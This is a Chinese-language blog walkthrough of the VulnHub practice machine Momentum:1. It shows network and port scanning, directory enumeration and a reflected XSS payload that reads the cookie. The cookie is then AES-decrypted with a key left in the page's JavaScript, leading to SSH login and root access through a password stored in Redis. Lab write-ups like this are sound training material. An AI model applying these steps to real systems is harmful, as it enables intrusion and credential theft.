靶机渗透练习80-Momentum:1

2023-05-16

靶机描述

靶机地址:https://www.vulnhub.com/entry/momentum-1,685/

Description

Info: easy / medium

一、搭建靶机环境

攻击机Kali

IP地址:192.168.9.7

靶机

IP地址:192.168.9.78

注:靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式)

该靶机环境搭建如下

  1. 将下载好的靶机环境,导入 VritualBox,设置为 Host-Only 模式
  2. 将 VMware 中桥接模式网卡设置为 VritualBox 的 Host-only

二、实战

2.1网络扫描

2.1.1 启动靶机和Kali后进行扫描

方法一、arp-scan -I eth0 -l (指定网卡扫)

arp-scan -I eth0 -l

⬢  Momentum:1  arp-scan -I eth0 -l
Interface: eth0, type: EN10MB, MAC: 00:50:56:27:27:36, IPv4: 192.168.9.7
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.9.2     08:00:27:79:f4:4d       PCS Systemtechnik GmbH
192.168.9.78    08:00:27:cf:66:80       PCS Systemtechnik GmbH

2 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.937 seconds (132.16 hosts/sec). 2 responded
方法二、masscan 扫描的网段 -p 扫描端口号

masscan 192.168.184.0/24 -p 80,22

方法三、netdiscover -i 网卡-r 网段

netdiscover -i eth0 -r 192.168.184.0/24

方法四、等你们补充

2.1.2 查看靶机开放的端口

使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口

⬢  Momentum:1  nmap -A -sV -T4 -p- 192.168.9.78
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-19 16:35 CST
Nmap scan report for bogon (192.168.9.78)
Host is up (0.00034s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 5c:8e:2c:cc:c1:b0:3e:7c:0e:22:34:d8:60:31:4e:62 (RSA)
|   256 81:fd:c6:4c:5a:50:0a:27:ea:83:38:64:b9:8b:bd:c1 (ECDSA)
|_  256 c1:8f:87:c1:52:09:27:60:5f:2e:2d:e0:08:03:72:c8 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Momentum | Index 
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:CF:66:80 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.34 ms bogon (192.168.9.78)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.13 seconds

开放了22,80端口

2.2枚举漏洞

2.2.1 80 端口分析

访问:http://192.168.9.78

image-20220419164024099

看起来就是一个相册

源码也没发现什么有用的东西

扫描一下目录:dirsearch -u http://192.168.9.78

⬢  Momentum:1  dirsearch -u http://192.168.9.78    

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/192.168.9.78/_22-04-19_16-41-21.txt

Error Log: /root/.dirsearch/logs/errors-22-04-19_16-41-21.log

Target: http://192.168.9.78/

[16:41:21] Starting: 
[16:41:21] 301 -  309B  - /js  ->  http://192.168.9.78/js/
[16:41:22] 403 -  277B  - /.ht_wsr.txt
[16:41:22] 403 -  277B  - /.htaccess.orig
[16:41:22] 403 -  277B  - /.htaccess.save
[16:41:22] 403 -  277B  - /.htaccess_extra
[16:41:22] 403 -  277B  - /.htaccess.bak1
[16:41:22] 403 -  277B  - /.htaccess.sample
[16:41:22] 403 -  277B  - /.htaccess_orig
[16:41:22] 403 -  277B  - /.htaccessOLD
[16:41:22] 403 -  277B  - /.htaccessOLD2
[16:41:22] 403 -  277B  - /.htaccess_sc
[16:41:22] 403 -  277B  - /.htaccessBAK
[16:41:22] 403 -  277B  - /.html
[16:41:22] 403 -  277B  - /.htm
[16:41:22] 403 -  277B  - /.htpasswd_test
[16:41:22] 403 -  277B  - /.httr-oauth
[16:41:22] 403 -  277B  - /.htpasswds
[16:41:23] 403 -  277B  - /.php
[16:41:33] 301 -  310B  - /css  ->  http://192.168.9.78/css/
[16:41:36] 301 -  310B  - /img  ->  http://192.168.9.78/img/
[16:41:36] 200 -    2KB - /index.html
[16:41:37] 200 -  928B  - /js/
[16:41:39] 301 -  313B  - /manual  ->  http://192.168.9.78/manual/
[16:41:39] 200 -  626B  - /manual/index.html
[16:41:44] 403 -  277B  - /server-status
[16:41:44] 403 -  277B  - /server-status/

Task Completed

访问:http://192.168.9.78/manual/en/index.html

image-20220419164405779

没什么东西

访问:http://192.168.9.78/js/main.js

得到

function viewDetails(str) {

  window.location.href = "opus-details.php?id="+str;
}

/*
var CryptoJS = require("crypto-js");
var decrypted = CryptoJS.AES.decrypt(encrypted, "SecretPassphraseMomentum");
console.log(decrypted.toString(CryptoJS.enc.Utf8));
*/

发现AES加密的密码是 SecretPassphraseMomentum

其他的也没啥了

返回页面再去看看

挨个图片点进去看看

图片一链接:http://192.168.9.78/opus-details.php?id=demon

image-20220419164620137

图片二链接:http://192.168.9.78/opus-details.php?id=angel

image-20220419164648921
图片三链接:http://192.168.9.78/opus-details.php?id=guard

页面无其他信息

图片四链接:http://192.168.9.78/opus-details.php?id=visor

页面无其他信息

拿去测一下sql注入:http://192.168.9.78/opus-details.php?id=demon

sqlmap -u "http://192.168.9.78/opus-details.php?id=demon" --leve=5 --risk=3 --threads=10  --dbs 

测试失败

尝试写入数据试试

image-20220419170254869

试试xss看看

image-20220419170421942

说明存在xss漏洞

2.3漏洞利用

2.3.1 XSS漏洞利用

利用XSS获取一下cookie

访问:http://192.168.9.78/opus-details.php?id=%3Cscript%3Ealert(document.cookie)%3C/script%3E

image-20220419170902877

得到cookie

cookie=U2FsdGVkX193yTOKOucUbHeDp1Wxd5r7YkoM8daRtj0rjABqGuQ6Mx28N1VbBSZt

这个字符串,,,上边有个AES加密,试试解密这个字符串

解密网站:http://www.jsons.cn/aesencrypt/

image-20220419171447507

还真解密出来了:auxerre-alienum##

看着像是一个密码

咱们利用enum4linux 工具收集一下系统信息

enum4linux -a 192.168.9.78无果

枚举一下用户名

auxerre
alienum

ssh尝试一下,发现用户名为auxerre,密码auxerre-alienum##

⬢  Momentum:1  ssh auxerre@192.168.9.78                                                                       
The authenticity of host '192.168.9.78 (192.168.9.78)' can't be established.
ED25519 key fingerprint is SHA256:NLUFYImFHvyED76cAzjnxD3dTxP5rzmEHrx4acGvM9c.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.9.78' (ED25519) to the list of known hosts.
auxerre@192.168.9.78's password: 
Linux Momentum 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Apr 22 08:47:31 2021
auxerre@Momentum:~$ 

2.4权限提升

2.4.1 信息收集

信息收集一波

auxerre@Momentum:~$ ls
user.txt
auxerre@Momentum:~$ cat user.txt
[ Momentum - User Owned ]
---------------------------------------
flag : 84157165c30ad34d18945b647ec7f647
---------------------------------------
auxerre@Momentum:~$ 

在用户目录下发现flag1

继续查找一下

auxerre@Momentum:~$ sudo -l
-bash: sudo: command not found
auxerre@Momentum:~$ ls -al
total 28
drwxr-xr-x 3 auxerre auxerre 4096 Apr 22  2021 .
drwxr-xr-x 3 root    root    4096 Apr 19  2021 ..
-rw------- 1 auxerre auxerre    0 Apr 22  2021 .bash_history
-rw-r--r-- 1 auxerre auxerre  220 Apr 19  2021 .bash_logout
-rw-r--r-- 1 auxerre auxerre 3526 Apr 19  2021 .bashrc
-rw-r--r-- 1 auxerre auxerre  807 Apr 19  2021 .profile
drwx------ 2 auxerre auxerre 4096 Apr 21  2021 .ssh
-rwx------ 1 auxerre auxerre  146 Apr 22  2021 user.txt
auxerre@Momentum:~$ cat .bash_history

没有sudo,当前目录也没有其他信息了

查找一下suid程序:find / -perm -u=s -type f 2>/dev/null

auxerre@Momentum:~$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/mount
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/umount
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign

直接上linpeas.sh,进行信息收集一波

image-20220419174341401

发现监听了6379端口,说明开启了Redis

其他东西倒是没有什么发现

既然开着Redis,咱们手动连上去看看有什么

auxerre@Momentum:/tmp$ redis-cli
127.0.0.1:6379> keys *
1) "rootpass"
127.0.0.1:6379> get rootpass
"m0mentum-al1enum##"
127.0.0.1:6379> 

发现root用户密码

su root切换至root看看

auxerre@Momentum:/tmp$ su root
Password: 
root@Momentum:/tmp# cd /root
root@Momentum:~# ls
root.txt
root@Momentum:~# cat root.txt
[ Momentum - Rooted ]
---------------------------------------
Flag : 658ff660fdac0b079ea78238e5996e40
---------------------------------------
by alienum with <3

root@Momentum:~# 

成功切换,并在root目录下找到flag

总结

本靶机通过信息收集发现AES加密秘钥以及XSS漏洞,利用漏洞拿到cookie,解密后得到账户密码,ssh登录后通过信息收集发现开着Redis,利用redis-cli拿到root密码

  1. 信息收集
  2. AES加解密
  3. XSS漏洞利用
  4. redis-cli的使用
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

靶机渗透练习80-Momentum:1 的相关文章

随机推荐

  • C# String转int主要有四种方法

    String转int主要有四种方法 1 int Parse 是一种类容转换 xff1b 表示将数字内容的字符串转为int类型 如果字符串为空 xff0c 则抛出ArgumentNullException异常 xff1b 如果字符串内容不是数
  • 基于正点原子STM32F103精英板IIC实验的MS5611气压计的使用

    MS5611是一款气压计 xff0c 能够提供高精度的气压值与温度值 xff0c 这次做项目正好需要用到这款传感器 xff0c 包括之前也没好好学习用过IIC xff0c 所以写下博客记录一下 如果有需要使用的朋友可以去https down
  • 关于C#使用XMLDocument生成XML文档时,UTF-8编码的BOM问题

    XmlSerializer 的序列化 默认指定 编码 xmlWriterSettings Encoding 61 Encoding UTF8 这种编码是带bom标记位 BOM byte order mark 字节顺序标记 的 改为 xff1
  • Winform datagridview中显示下拉框示例

    方式一 xff1a 如下图所示 xff0c 该方式也是较为简单的一种 你只需要添加一列类型为DataGridViewComboBoxColumn的列 xff0c 然后添加数据源即可 但是我们看到这种方式的下拉列表看起来并不是十分的美观 xf
  • subject may not be empty[Git]

    PS D MySource sino manager gt git commit husky gt pre commit node v10 15 3 STARTED Preparing SUCCESS Preparing STARTED R
  • [转]C# HTTP 错误 403.14 - Forbidden Web

    HTTP 错误 403 14 ForbiddenWeb 服务器被配置为不列出此目录的内容 出现以上这个错误可能有如下解决方法 xff1a 1 将应用程序池设置成V4 0 2 在配置文件中加上以下几句代码 xff1a lt system we
  • c# 创建Web Api项目

    创建WebApi项目 xff1a 在VS工具中创建一个ASP NET Web应用程序 选择Webapi 一个webapi项目就创建好了 这里简单的写一个post和get两种请求的方法 xff0c 由于post请求参数需要参数体的形式 xff
  • C# 反射获取类的成员变量名称及值

    测试用的类 public class PersonData public string gender 61 string Empty public List lt int gt pifuRGB 61 new List lt int gt 0
  • cstring转换为char*

    在Visual C 43 43 NET2005中 xff0c 默认的字符集形式是Unicode xff0c 但在VC6 0等工程中 xff0c 默认的字符集形式是多字节字符集 xff08 MBCS xff1a Multi Byte Char
  • Error creating bean with name 'userController'

    Caused by org springframework beans factory UnsatisfiedDependencyException Error creating bean with name 39 userControll
  • IntelliJ IDEA Cannot find declaration to go to

    最近在用IntelliJ IDEA开发一个微服务的项目的时候 xff0c 从git clone了代码 xff0c 再用IntelliJ IDEA导入项目以后 项目里好多方法 类和属性都无法转到定义或者声明处 xff0c 无论是Ctrl 43
  • CString转char * ,string

    CString头文件 include lt afx h gt string头文件 include lt string h gt 1 CString转char CString cstr char p 61 LPSTR LPCTSTR cstr
  • GPS数据包格式+数据解析

    GPS数据包格式 43 数据解析 一 全球时区的划分 xff1a 每个时区跨15 经度 以0 经线为界向东向西各划出7 5 经度 xff0c 作为0时区 即0时区的经度范围是7 5 W 7 5 E 从7 5 E与7 5 W分别向东 向西每1
  • 在C#中使用libcurl库

    几乎在所有的linux发行版中 xff0c 默认都是包含有libcurl库的 那么 xff0c libcurl是使用C开发的 xff0c 自然 xff0c 当你用C或C 43 43 使用libcurl库的时候很方便 但是 xff0c 如果你
  • Linux下chrony授时监测脚本

    1 背景概述 Linux下基于gpsd 43 chrony授时 xff0c 在有些情况下会存在收敛慢或者参考时间选择错误问题 xff0c 因此需要授时监测脚本进行监测 xff0c 便于在异常时候发现并处理 2 gpsd 43 chrony授
  • 关于linux下shell输出^M特殊字符的处理

    shell中echo输出时 M特殊字符的处理 今天在csdn论坛看一网友发了一个帖子 xff1a https bbs csdn net topics 392668752 post 403986636 xff0c 我很好奇 xff0c 于是将
  • VS2010(VS2017)+Boost_1_68_0环境搭建

    文 Seraph 一 下载 首先从Boost下载官网下载源码 xff0c 当然你也可以下载编译好的库文件直接用 我下载的是boost 1 68 0 zip 解压到某个目录下 xff0c 我解压到了D盘根目录 xff1a E boost 1
  • 2.gstreamer USB摄像头RTSP推流

    目录 1 操作系统版本 2 使用gstreamer播放mp4文件 3 采集USB摄像头视频源 xff0c 并RTSP推流 4 使用RTSP播放器播放 5 注意事项 1 操作系统版本 使用的虚拟机加ubuntu 20 04 2 使用gstre
  • 3.gstreamer UDP推流RTP及拉流播放

    目录 1 将H264数据流打包为RTP包 xff0c 然后UDP推流 2 UDP client拉流 xff0c 然后RTSP传输 3 easyplayer rtsp exe播放器播放RTSP数据流 将H264打包为RTP包 xff0c 然后
  • 靶机渗透练习80-Momentum:1

    靶机描述 靶机地址 xff1a https www vulnhub com entry momentum 1 685 Description Info easy medium 一 搭建靶机环境 攻击机Kali xff1a IP地址 xff1